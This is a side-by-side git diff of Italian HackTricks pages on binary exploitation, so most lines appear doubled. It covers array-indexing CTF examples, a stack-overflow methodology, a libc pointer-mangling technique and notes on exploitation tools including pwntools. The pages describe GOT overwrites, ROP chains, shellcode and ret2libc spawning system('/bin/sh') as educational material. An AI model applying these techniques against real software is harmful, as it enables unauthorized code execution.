A seconda del valore, l'indirizzo della funzione da chiamare sarà in un posto diverso, ma sarà sempre **demangled**. A seconda del valore, l'indirizzo della funzione da chiamare sarà in un posto diverso, ma sarà sempre **demangled**.
Inoltre, nelle opzioni **`ef_on`** e **`ef_cxa`** è anche possibile controllare un **argomento**. Inoltre, nelle opzioni **`ef_on`** e **`ef_cxa`** è anche possibile controllare un **argomento**.
@ -236,17 +237,3 @@ Inoltre, nelle opzioni **`ef_on`** e **`ef_cxa`** è anche possibile controllare
Per sfruttare ciò è necessario **leak o cancellare il cookie `PTR_MANGLE`** e sovrascrivere una voce `cxa` in initial con `system('/bin/sh')`.\ Per sfruttare ciò è necessario **leak o cancellare il cookie `PTR_MANGLE`** e sovrascrivere una voce `cxa` in initial con `system('/bin/sh')`.\
È possibile trovare un esempio di ciò nel [**post originale del blog sulla tecnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). È possibile trovare un esempio di ciò nel [**post originale del blog sulla tecnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,18 +1,19 @@
# Indicizzazione degli Array # Indicizzazione degli Array
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) nei repository di GitHub.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -23,8 +24,8 @@ Tuttavia, qui puoi trovare alcuni bei **esempi**:
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html) * [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
* Ci sono **2 array in collisione**, uno per gli **indirizzi** in cui sono memorizzati i dati e uno con le **dimensioni** di tali dati. È possibile sovrascrivere uno con l'altro, consentendo di scrivere un indirizzo arbitrario indicandolo come dimensione. Ciò consente di scrivere l'indirizzo della funzione `free` nella tabella GOT e quindi sovrascriverlo con l'indirizzo di `system`, e chiamare free da una memoria con `/bin/sh`. * Ci sono **2 array in collisione**, uno per gli **indirizzi** in cui sono memorizzati i dati e uno con le **dimensioni** di tali dati. È possibile sovrascrivere uno con l'altro, consentendo di scrivere un indirizzo arbitrario indicandolo come dimensione. Ciò consente di scrivere l'indirizzo della funzione `free` nella tabella GOT e quindi sovrascriverlo con l'indirizzo di `system`, e chiamare free da una memoria con `/bin/sh`.
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html) * [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
* 64 bit, no nx. Sovrascrivere una dimensione per ottenere una sorta di buffer overflow in cui tutto verrà utilizzato come numero doppio e ordinato dal più piccolo al più grande, quindi è necessario creare un shellcode che soddisfi tale requisito, tenendo conto che il canary non dovrebbe essere spostato dalla sua posizione e infine sovrascrivere il RIP con un indirizzo a ret, che soddisfa i requisiti precedenti e mettendo l'indirizzo più grande un nuovo indirizzo che punta all'inizio dello stack (leaked dal programma) in modo da poter utilizzare il ret per saltare lì. * 64 bit, no nx. Sovrascrivere una dimensione per ottenere una sorta di buffer overflow in cui ogni cosa verrà utilizzata come numero doppio e ordinata dal più piccolo al più grande, quindi è necessario creare uno shellcode che soddisfi tale requisito, tenendo conto che il canary non dovrebbe essere spostato dalla sua posizione e infine sovrascrivere il RIP con un indirizzo a ret, che soddisfa i requisiti precedenti e mettendo l'indirizzo più grande un nuovo indirizzo che punta all'inizio dello stack (leaked dal programma) in modo da poter utilizzare il ret per saltare lì.
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) * [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
* 64 bit, no relro, canary, nx, no pie. C'è un off-by-one in un array nello stack che consente di controllare un puntatore garantendo WWW (scrive la somma di tutti i numeri dell'array nell'indirizzo sovrascritto dall'off-by-one nell'array). Lo stack è controllato in modo che l'indirizzo GOT `exit` venga sovrascritto con `pop rdi; ret`, e nello stack viene aggiunto l'indirizzo a `main` (tornando a `main`). Viene utilizzata una catena ROP per filtrare l'indirizzo di put nella GOT usando puts (`exit` verrà chiamato quindi chiamerà `pop rdi; ret` eseguendo quindi questa catena nello stack). Infine viene utilizzata una nuova catena ROP che esegue ret2lib. * 64 bit, no relro, canary, nx, no pie. C'è un off-by-one in un array nello stack che consente di controllare un puntatore concedendo WWW (scrive la somma di tutti i numeri dell'array nell'indirizzo sovrascritto dall'off-by-one nell'array). Lo stack è controllato in modo che l'indirizzo `exit` della GOT venga sovrascritto con `pop rdi; ret`, e nello stack viene aggiunto l'indirizzo a `main` (tornando a `main`). Viene utilizzata una catena ROP per filtrare l'indirizzo di put nella GOT usando puts (`exit` verrà chiamato quindi chiamerà `pop rdi; ret` eseguendo quindi questa catena nello stack). Infine viene utilizzata una nuova catena ROP che esegue ret2lib.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bit, no relro, no canary, nx, pie. Sfrutta un cattivo indice per filtrare gli indirizzi di libc e heap dallo stack. Sfrutta il buffer overflow per eseguire un ret2lib chiamando `system('/bin/sh')` (è necessario l'indirizzo dell'heap per eludere un controllo). * 32 bit, no relro, no canary, nx, pie. Abuso di un cattivo indicizzazione per filtrare gli indirizzi di libc e heap dallo stack. Sfrutta il buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (è necessario l'indirizzo dell'heap per eludere un controllo).

View file

@ -1,22 +1,23 @@
# Metodologia di Base per l'Esplorazione Binaria # Metodologia di Base per l'Esplorazione Binaria
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}
## Informazioni di Base su ELF ## Informazioni di Base su ELF
Prima di iniziare a sfruttare qualsiasi cosa, è interessante capire parte della struttura di un **binario ELF**: Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte della struttura di un **binario ELF**:
{% content-ref url="elf-tricks.md" %} {% content-ref url="elf-tricks.md" %}
[elf-tricks.md](elf-tricks.md) [elf-tricks.md](elf-tricks.md)
@ -30,21 +31,21 @@ Prima di iniziare a sfruttare qualsiasi cosa, è interessante capire parte della
## Metodologia dello Sfruttamento dello Stack Overflow ## Metodologia dello Sfruttamento dello Stack Overflow
Con così tante tecniche è utile avere uno schema in cui ogni tecnica sarà utile. Nota che le stesse protezioni influenzeranno tecniche diverse. È possibile trovare modi per aggirare le protezioni in ciascuna sezione di protezione ma non in questa metodologia. Con così tante tecniche, è utile avere uno schema in cui ogni tecnica sarà utile. Nota che le stesse protezioni influenzeranno diverse tecniche. Puoi trovare modi per aggirare le protezioni in ciascuna sezione di protezione ma non in questa metodologia.
## Controllo del Flusso ## Controllo del Flusso
Ci sono diversi modi in cui potresti finire per controllare il flusso di un programma: Ci sono diversi modi in cui potresti finire per controllare il flusso di un programma:
* [**Stack Overflows**](../stack-overflow/) sovrascrivendo il puntatore di ritorno dallo stack o l'EBP -> ESP -> EIP. * [**Stack Overflows**](../stack-overflow/) sovrascrivendo il puntatore di ritorno dallo stack o l'EBP -> ESP -> EIP.
* Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow * Potresti dover abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow
* Oppure tramite **Scritture Arbitrarie + Scrivi Cosa Dove all'Esecuzione** * Oppure tramite **Scritture Arbitrarie + Write What Where to Execution**
* [**Stringhe di Formato**](../format-strings/)**:** Abusare di `printf` per scrivere contenuti arbitrari in indirizzi arbitrari. * [**Stringhe di Formato**](../format-strings/)**:** Abusare di `printf` per scrivere contenuti arbitrari in indirizzi arbitrari.
* [**Indicizzazione degli Array**](../array-indexing.md): Abusare di un'indicizzazione mal progettata per poter controllare alcuni array e ottenere una scrittura arbitraria. * [**Indicizzazione di Array**](../array-indexing.md): Abusare di un'indicizzazione mal progettata per poter controllare alcuni array e ottenere una scrittura arbitraria.
* Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow * Potresti dover abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow
* **bof to WWW via ROP**: Abusare di un buffer overflow per costruire un ROP e poter ottenere un WWW. * **bof to WWW via ROP**: Abusare di un buffer overflow per costruire un ROP e poter ottenere un WWW.
È possibile trovare le tecniche di **Scrivi Cosa Dove all'Esecuzione** in: Puoi trovare le tecniche di **Write What Where to Execution** in:
{% content-ref url="../arbitrary-write-2-exec/" %} {% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/) [arbitrary-write-2-exec](../arbitrary-write-2-exec/)
@ -52,12 +53,12 @@ Ci sono diversi modi in cui potresti finire per controllare il flusso di un prog
## Cicli Eterni ## Cicli Eterni
Qualcosa da tenere in considerazione è che di solito **sfruttare una sola vulnerabilità potrebbe non essere sufficiente** per eseguire con successo uno sfruttamento, specialmente alcune protezioni devono essere aggirate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binario: Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di una vulnerabilità potrebbe non essere sufficiente** per eseguire con successo uno sfruttamento, specialmente se alcune protezioni devono essere aggirate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binario:
* Scrivere in una catena **ROP** l'indirizzo della funzione **`main`** o all'indirizzo in cui si verifica la **vulnerabilità**. * Scrivere in una catena **ROP** l'indirizzo della funzione **`main`** o l'indirizzo in cui si verifica la **vulnerabilità**.
* Controllando una corretta catena ROP potresti essere in grado di eseguire tutte le azioni in quella catena * Controllando una corretta catena ROP potresti essere in grado di eseguire tutte le azioni in quella catena
* Scrivere l'indirizzo di **`exit` in GOT** (o di qualsiasi altra funzione utilizzata dal binario prima della fine) all'indirizzo per tornare alla **vulnerabilità** * Scrivere l'indirizzo di **`exit` in GOT** (o di qualsiasi altra funzione utilizzata dal binario prima della fine) per tornare all'indirizzo della vulnerabilità
* Come spiegato in [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per richiamare nuovamente la vulnerabilità e un'altra per richiamare**`__libc_csu_fini`** che richiamerà di nuovo la funzione da `.fini_array`. * Come spiegato in [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per richiamare nuovamente la vulnerabilità e un'altra per richiamare**`__libc_csu_fini`** che richiamerà nuovamente la funzione da `.fini_array`.
## Obiettivi dello Sfruttamento ## Obiettivi dello Sfruttamento
@ -71,7 +72,7 @@ Qualcosa da tenere in considerazione è che di solito **sfruttare una sola vulne
* Una catena [**ROP**](./#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri * Una catena [**ROP**](./#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (nel caso in cui puoi chiamare questa syscall) per controllare molti registri * [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (nel caso in cui puoi chiamare questa syscall) per controllare molti registri
* Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri * Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri
* Attraverso uno [**Scrivi Cosa Dove**](../arbitrary-write-2-exec/) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**. * Attraverso un [**Write What Where**](../arbitrary-write-2-exec/) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
* [**Reindirizzamento dei Puntatori**](../stack-overflow/pointer-redirecting.md): Nel caso lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo. * [**Reindirizzamento dei Puntatori**](../stack-overflow/pointer-redirecting.md): Nel caso lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) potrebbero influenzare gli indirizzi. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) potrebbero influenzare gli indirizzi.
* [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai. * [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
@ -80,11 +81,11 @@ Qualcosa da tenere in considerazione è che di solito **sfruttare una sola vulne
#### Tramite shellcode, se nx disabilitato o mescolando shellcode con ROP: #### Tramite shellcode, se nx disabilitato o mescolando shellcode con ROP:
* [**(Stack) Shellcode**](./#stack-shellcode): Questo è utile per memorizzare uno shellcode nello stack prima o dopo la sovrascrittura del puntatore di ritorno e quindi **saltare ad esso** per eseguirlo: * [**(Stack) Shellcode**](./#stack-shellcode): È utile memorizzare uno shellcode nello stack prima o dopo la sovrascrittura del puntatore di ritorno e quindi **saltare ad esso** per eseguirlo:
* **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in un bof regolare dovrai aggirarlo (leak) * **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in un bof regolare dovrai aggirarlo (leak)
* **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) è possibile saltare all'indirizzo dello stack poiché non cambierà mai * **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) è possibile saltare all'indirizzo dello stack poiché non cambierà mai
* **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) dovrai utilizzare tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltarci * **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) dovrai utilizzare tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltarci
* **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai utilizzare alcuni [**ROP**](../rop-return-oriented-programing/) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando ad esempio read) e poi saltare lì. * **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai utilizzare alcuni [**ROP**](../rop-return-oriented-programing/) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando ad esempio read) e quindi saltare lì.
* Questo mescolerà lo shellcode con una catena ROP. * Questo mescolerà lo shellcode con una catena ROP.
#### Attraverso le syscalls #### Attraverso le syscalls
@ -105,7 +106,7 @@ Qualcosa da tenere in considerazione è che di solito **sfruttare una sola vulne
* **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e senza conoscere la libc**: È necessario: * **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e senza conoscere la libc**: È necessario:
* Eludere [**PIE**](../common-binary-protections-and-bypasses/pie/) * Eludere [**PIE**](../common-binary-protections-and-bypasses/pie/)
* Trovare la **versione di `libc`** utilizzata (leak di un paio di indirizzi di funzione) * Trovare la **versione di `libc`** utilizzata (leak di un paio di indirizzi di funzione)
* Controllare i **scenari precedenti con ASLR** per continuare. * Controllare i **casi precedenti con ASLR** per continuare.
#### Attraverso EBP/RBP #### Attraverso EBP/RBP

View file

@ -1,18 +1,19 @@
# Strumenti di Sfruttamento # Strumenti di Sfruttamento
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Metasploit ## Metasploit
```bash ```bash
@ -226,7 +227,7 @@ Ottenere ogni opcode eseguito nel programma.
### Debugging in remoto su Linux ### Debugging in remoto su Linux
All'interno della cartella IDA puoi trovare binari che possono essere utilizzati per eseguire il debug di un eseguibile all'interno di un sistema Linux. Per farlo, sposta l'eseguibile `linux_server` o `linux_server64` all'interno del server Linux e eseguilo all'interno della cartella che contiene l'eseguibile: All'interno della cartella IDA è possibile trovare binari che possono essere utilizzati per eseguire il debug di un eseguibile all'interno di un sistema Linux. Per farlo, spostare l'eseguibile `linux_server` o `linux_server64` all'interno del server Linux e eseguirlo all'interno della cartella che contiene l'eseguibile:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
@ -234,16 +235,17 @@ Quindi, configurare il debugger: Debugger (linux remoto) --> Opzioni del process
![](<../../../.gitbook/assets/image (858).png>) ![](<../../../.gitbook/assets/image (858).png>)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Strumenti Pwn # PwnTools
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
``` ```
pip3 install pwntools pip3 install pwntools
``` ```
@ -27,8 +28,8 @@ pwn asm -i <filepath>
* tipo di output (grezzo, esadecimale, stringa, elf) * tipo di output (grezzo, esadecimale, stringa, elf)
* contesto del file di output (16,32,64,linux,windows...) * contesto del file di output (16,32,64,linux,windows...)
* evitare byte (a capo, nullo, una lista) * evitare byte (nuove righe, null, una lista)
* selezionare l'encoder debug dello shellcode utilizzando gdb per eseguire l'output * selezionare l'encoder debug shellcode utilizzando gdb per eseguire l'output
## **Pwn checksec** ## **Pwn checksec**
